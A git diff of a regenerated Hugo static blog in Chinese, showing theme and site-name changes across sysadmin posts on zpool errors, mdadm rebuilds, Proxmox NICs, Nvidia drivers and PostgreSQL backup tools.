    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/fix-zpool-device-busy-using-dmsetup/index.html b/public/post/fix-zpool-device-busy-using-dmsetup/index.html index f830c1ee..497babea 100644 --- a/public/post/fix-zpool-device-busy-using-dmsetup/index.html +++ b/public/post/fix-zpool-device-busy-using-dmsetup/index.html @@ -1,141 +1,315 @@ - - - - - - - - - - - [筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

    +
    + + + + +
    +

    [筆記] 解決無法建立zpool 的錯誤 / Fix Zpool Device Busy Using dmsetup

    +
    +
    +
    +
    +

    今天把其中一台proxmox 加上10G 光纖網卡,準備和另一台proxmox 組成10G 環境進行測試

    想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate

    可是一直出現device busy的錯誤訊息

    -

    -
    root@pve:~# zpool create zp sdb1
     cannot open '/dev/sdb1': Device or resource busy
     
    @@ -188,34 +362,127 @@ config:
     errors: No known data errors
     root@pve:~# 
     
    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/incredibly-slow-mdadm-rebuild/index.html b/public/post/incredibly-slow-mdadm-rebuild/index.html index 23257cd6..3d7455bf 100644 --- a/public/post/incredibly-slow-mdadm-rebuild/index.html +++ b/public/post/incredibly-slow-mdadm-rebuild/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    最近在做一台老機器的P2V

    +
    + + + + +
    +

    [碎念] mdadm 超級慢的rebuild 速度 Incredibly Slow mdadm Rebuild

    +
    +
    +
    +
    +

    最近在做一台老機器的P2V

    偏偏user說不能關機,所以我用dd + ssh 做線上移轉

    @@ -138,8 +314,6 @@

    這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機

    -

    -

    我的想法是既然開機會出現raid degrade

    那我就加第二顆硬碟給它,讓它做 rebuild

    @@ -211,34 +385,127 @@ md0 : active raid1 sda5[0] sdb5[2] unused devices: <none> +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/index.html b/public/post/index.html index 7e18684d..8190639a 100644 --- a/public/post/index.html +++ b/public/post/index.html @@ -1,212 +1,70 @@ - - - - - - - - - - - Posts | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + Posts | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MCの飄狂山莊㊣

    - - What’s the Worst That Could Happen? - -
    - - - - -
    - - -
    -
    + + +
    + +
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804

    -
    - - - 2019-10-04 - - - - - - - - - - - - - - - Eric Chang - -
    - - -

    這兩天在找關於在 ubuntu 中做搜尋的軟體

    - -

    意外找到一個非常好用的工具 ulauncher

    - -

    - - - - - -
    - - - - +
    + +
    +
    +

    Posts

    + +
    +
    + +
    + - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 在ubuntu 18.04安裝psql 11 以及 pg_auto_failover / install psql 11 and pg_auto_failover in ubuntu 18.04

    -
    - - - 2019-09-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近都在弄postgresql

    +
    + +
    + +
    + +
    +
    +

    [筆記] 在ubuntu 18.04安裝psql 11 以及 pg_auto_failover / install psql 11 and pg_auto_failover in ubuntu 18.04

    +

    最近都在弄postgresql

    備份、還原測試得差不多了,就等著看到時候要用什麼方式

    @@ -216,550 +74,74 @@

    感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA

    -

    不過,反正當作練功嘛,多測試一套也不錯!

    - -

    - - - - - -
    - - - - +

    不過,反正當作練功嘛,多測試一套也不錯!

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd

    -
    - - - 2019-09-10 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 +

    + +
    +
    +

    [筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd

    +

    前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 手邊也剛好有一條多的intel 600p nvme ssd 就順手來做個比較 -目標是看看有沒有可能直接用外接的SSD來跑postgresql

    - - - - - -
    - - - - +目標是看看有沒有可能直接用外接的SSD來跑postgresql

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 用zfs的snapshot 快照功能來做 postgresql 的備份還原 / Postgresql Backup Restore Using Zfs Snapshot

    -
    - - - 2019-09-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    前面測試了用pgbarman / pgbackrest 來備份 postgresql

    +
    + +
    +
    - - -
    - -
    - - - - - -
    + +
    + - - -
    - -
    - - - - - -
    + + - -
    - - - - - -
    - - - - -
    -

    [筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04

    -
    - - - 2019-08-23 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    很久以前就有看到這個用來備份postgresql 的 pgbarman

    +
    + +
    +
    +

    [筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04

    +

    很久以前就有看到這個用來備份postgresql 的 pgbarman

    https://www.pgbarman.org/

    前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看

    -

    不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

    - -

    - - - - - -
    - - - - +

    不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804

    -
    - - - 2019-08-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為老闆說要試試看用GPU 來跑postgresql 威力

    +
    + +
    +
    +

    [筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804

    +

    因為老闆說要試試看用GPU 來跑postgresql 威力

    手邊剛好有一張 geforce gt 720

    一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援

    -

    就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

    - -

    - - - - - -
    - - - - +

    就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP

    -
    - - - 2019-08-16 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

    +
    + +
    +
    +

    [筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP

    +

    最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

    想說再打個VPN tunnel 來當跳板連 ptt 好了

    @@ -771,356 +153,28 @@

    所以改用google cloud platform 的free tier 來做

    -

    反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

    - -

    - - - - - -
    - - - - +

    反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard

    -
    - - - 2019-08-13 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

    - -

    雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

    - -

    完全沒辦法了解當時設計的邏輯,造成後續debug 困難

    - -

    可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

    - -

    之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

    - -

    這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

    - -

    - - - - - -
    - - - + +
    +
    + + -
    - - -
    - - - -
    - - - - - -
    - - - -
    - - -
    - + +
    +
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + \ No newline at end of file diff --git a/public/post/index.xml b/public/post/index.xml index db94750a..53bd0c45 100644 --- a/public/post/index.xml +++ b/public/post/index.xml @@ -1,15 +1,31 @@ - Posts on MCの飄狂山莊㊣ + Posts on MC部落 https://h.cowbay.org/post/ - Recent content in Posts on MCの飄狂山莊㊣ + Recent content in Posts on MC部落 Hugo -- gohugo.io - Fri, 04 Oct 2019 14:12:15 +0800 + en-us + Mon, 14 Oct 2019 13:59:58 +0800 + + [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + Mon, 14 Oct 2019 13:59:58 +0800 + + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + <p>最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案</p> + +<p>就不小心發現了這個 streisand</p> + +<p><a href="https://github.com/StreisandEffect/streisand">https://github.com/StreisandEffect/streisand</a></p> + +<p>玩了一下,發現這根本就是終極的VPN Server solution ..</p> + + [推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804 https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ @@ -18,9 +34,7 @@ https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ <p>這兩天在找關於在 ubuntu 中做搜尋的軟體</p> -<p>意外找到一個非常好用的工具 ulauncher</p> - -<p></p> +<p>意外找到一個非常好用的工具 ulauncher</p> @@ -39,9 +53,7 @@ <p>感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA</p> -<p>不過,反正當作練功嘛,多測試一套也不錯!</p> - -<p></p> +<p>不過,反正當作練功嘛,多測試一套也不錯!</p> @@ -65,9 +77,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> @@ -76,9 +86,7 @@ Thu, 05 Sep 2019 11:42:28 +0800 https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ - <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> - -<p></p> + <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> @@ -87,9 +95,7 @@ Fri, 23 Aug 2019 14:54:13 +0800 https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ - <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> - -<p></p> + <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> @@ -104,9 +110,7 @@ <p>前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看</p> -<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> - -<p></p> +<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> @@ -121,9 +125,7 @@ <p>一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援</p> -<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> - -<p></p> +<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> @@ -144,9 +146,7 @@ <p>所以改用google cloud platform 的free tier 來做</p> -<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> - -<p></p> +<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> @@ -165,9 +165,7 @@ <p>之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點</p> -<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> - -<p></p> +<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> @@ -194,9 +192,7 @@ <p>今天看到文章說用wireguard 可以更簡單</p> -<p>於是研究了一下,發現還真的很簡單!</p> - -<p></p> +<p>於是研究了一下,發現還真的很簡單!</p> @@ -216,9 +212,7 @@ <p>一直都是放在crontab 裡面執行,也就沒有去管他</p> -<p>反正也沒有人關心結果怎樣 (攤手</p> - -<p></p> +<p>反正也沒有人關心結果怎樣 (攤手</p> @@ -241,9 +235,7 @@ <p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> -<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> - -<p></p> +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> @@ -271,9 +263,7 @@ <p>尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數</p> -<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> - -<p></p> +<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> @@ -290,9 +280,7 @@ <p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> -<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> - -<p></p> +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> @@ -337,9 +325,7 @@ <p>之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行</p> -<p>早上研究了一下,順便做個筆記。</p> - -<p></p> +<p>早上研究了一下,順便做個筆記。</p> @@ -356,9 +342,7 @@ <p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> -<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> - -<p></p> +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> @@ -373,9 +357,7 @@ <p>翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)</p> -<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> - -<p></p> +<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> @@ -388,9 +370,7 @@ <p>想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate</p> -<p>可是一直出現device busy的錯誤訊息</p> - -<p></p> +<p>可是一直出現device busy的錯誤訊息</p> @@ -401,8 +381,7 @@ https://h.cowbay.org/post/transfer-cent62-using-rsync/ <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> -<p>看起來不難搞,事實上&hellip;.. -</p> +<p>看起來不難搞,事實上&hellip;..</p> @@ -430,9 +409,7 @@ <p>可以很簡單快速的備份、恢復系統狀態</p> -<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> - -<p></p> +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> @@ -443,8 +420,7 @@ https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ <p>買了一張 DELL 6/iR 低階的raid 卡</p> -<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip; -</p> +<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip;</p> @@ -457,9 +433,7 @@ <p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> -<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> - -<p></p> +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> @@ -474,9 +448,7 @@ <p>然後把Freenas 安裝在隨身碟上</p> -<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> - -<p></p> +<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> @@ -493,9 +465,7 @@ <p>只是因為原來的設定有用mdadm 做raid1</p> -<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> - -<p></p> +<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> @@ -510,9 +480,7 @@ <p>原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面</p> -<p>然後每到一台新的機器,就要去clone 下來</p> - -<p></p> +<p>然後每到一台新的機器,就要去clone 下來</p> @@ -535,9 +503,7 @@ <p>一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛&hellip;</p> -<p>不過主管還是希望能夠先問群暉維修的費用多少</p> - -<p></p> +<p>不過主管還是希望能夠先問群暉維修的費用多少</p> @@ -562,9 +528,7 @@ <p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> -<p>今天就花了點時間測試一下</p> - -<p></p> +<p>今天就花了點時間測試一下</p> @@ -577,9 +541,7 @@ <p>有提到怎麼用 with_items / set_fact 來取得在yaml 檔案中的清單</p> -<p>不過就是有點醜</p> - -<p></p> +<p>不過就是有點醜</p> @@ -631,9 +593,7 @@ } ] -</code></pre> - -<p></p> +</code></pre> @@ -648,9 +608,7 @@ <p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> @@ -665,9 +623,7 @@ <p>但是希望能夠不同team的人用不同的資料庫使用者</p> -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> +<p>這樣萬一出事,會比較好抓兇手??</p> @@ -688,9 +644,7 @@ <p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> +<p>問題就發生在這台 Build Server 上&hellip;</p> @@ -729,9 +683,7 @@ <p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> +<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> @@ -753,9 +705,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> diff --git a/public/post/install-asus-10g-nic-in-proxmox/index.html b/public/post/install-asus-10g-nic-in-proxmox/index.html index 5be716b0..46dbb27b 100644 --- a/public/post/install-asus-10g-nic-in-proxmox/index.html +++ b/public/post/install-asus-10g-nic-in-proxmox/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - Install Asus 10G NIC XG-C100C in Proxmox | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + Install Asus 10G NIC XG-C100C in Proxmox + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    前幾天接的一個case

    + + +
    + +
    + + + + +
    +

    Install Asus 10G NIC XG-C100C in Proxmox

    +
    +
    +
    +
    +

    前幾天接的一個case

    因為費用的關係,所以沒有考慮用傳統定義上的伺服器(DELL R640)

    @@ -140,8 +316,7 @@

    一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡

    -

    -https://24h.pchome.com.tw/prod/DRAF01-A90088CKR

    +

    https://24h.pchome.com.tw/prod/DRAF01-A90088CKR

    結果…. debian9 預設抓不到這張卡啊!

    @@ -249,34 +424,127 @@ root@pve:~#

    反正這樣子買下來的硬體設備也不算太貴(比一台新的R640還便宜)

    就先這樣子跑吧,至於洋垃圾的穩定度,就觀察看看吧..

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804/index.html b/public/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804/index.html index 0ede621a..7e0df072 100644 --- a/public/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804/index.html +++ b/public/post/install-nvidia-driver-cuda-pgstrom-in-ubuntu-1804/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    因為老闆說要試試看用GPU 來跑postgresql 威力

    +
    + + + + +
    +

    [筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804

    +
    +
    +
    +
    +

    因為老闆說要試試看用GPU 來跑postgresql 威力

    手邊剛好有一張 geforce gt 720

    @@ -136,8 +312,6 @@

    就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

    -

    -

    整個過程大致上分為四個步驟

    安裝 nvidia driver

    @@ -388,34 +562,127 @@ Aug 20 14:23:43 hqdc032 systemd[1]: Failed to start PostgreSQL Cluster 11-main.

    好了,現在就看准不准我買一張 GTX 1080 來測試了….

    只是這價格嘛…嗯咳,不是我該煩惱的問題了..

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/install-timeshift-on-ubuntu1804/index.html b/public/post/install-timeshift-on-ubuntu1804/index.html index bcd6cbc1..c9c71ddd 100644 --- a/public/post/install-timeshift-on-ubuntu1804/index.html +++ b/public/post/install-timeshift-on-ubuntu1804/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - Install Timeshift on Ubuntu1804 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + Install Timeshift on Ubuntu1804 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

    +
    + + + + +
    +

    Install Timeshift on Ubuntu1804

    +
    +
    +
    +
    +

    最近要開始測試client安裝 ubuntu 18.04 的 ansible playbook

    因為要不斷的修正,所以想到一直有在自己電腦上執行的timeshift這個軟體

    @@ -136,8 +312,6 @@

    可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤….

    -

    -

    因為client 的環境都躲在proxy後面,一開始我想說直接下

    export http_proxy=http://proxy_server:port
    @@ -711,36 +885,129 @@ sudo apt install joe-jupp
     

    可以看到,剛剛安裝的joe 又變成還沒安裝的狀態了,符合預期中的結果!

    可以繼續測試playbook了!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/install-ubuntu1804-on-dell-6ir-raid-controller/index.html b/public/post/install-ubuntu1804-on-dell-6ir-raid-controller/index.html index caa7694b..3cea1e7b 100644 --- a/public/post/install-ubuntu1804-on-dell-6ir-raid-controller/index.html +++ b/public/post/install-ubuntu1804-on-dell-6ir-raid-controller/index.html @@ -1,137 +1,312 @@ - - - - - - - - - - - 用DELL 6 i/R 建立RAID,並在上面安裝ubuntu 18.04 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + 用DELL 6 i/R 建立RAID,並在上面安裝ubuntu 18.04 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    買了一張 DELL 6/iR 低階的raid 卡

    + + +
    + +
    + + + + +
    +

    用DELL 6 i/R 建立RAID,並在上面安裝ubuntu 18.04

    +
    +
    +
    +
    +

    買了一張 DELL 6/iR 低階的raid 卡

    + +

    來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機…

    都2019年了, DELL 6/iR 這張卡出了快十年了,不懂為什麼在安裝過程都正常

    @@ -173,34 +348,127 @@ GRUB_CMDLINE_LINUX="rootdelay=90"

    然後重新開機,開機時間會比較久一點,但是這樣就可以正常開機了。

    還是不懂,這到底是 ubuntu的問題,還是raid Controller的問題?還是 grub 的問題?

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/inx-collect-detail-hardware-info/index.html b/public/post/inx-collect-detail-hardware-info/index.html index 508fe302..7a1c645a 100644 --- a/public/post/inx-collect-detail-hardware-info/index.html +++ b/public/post/inx-collect-detail-hardware-info/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

    +
    + + + + +
    +

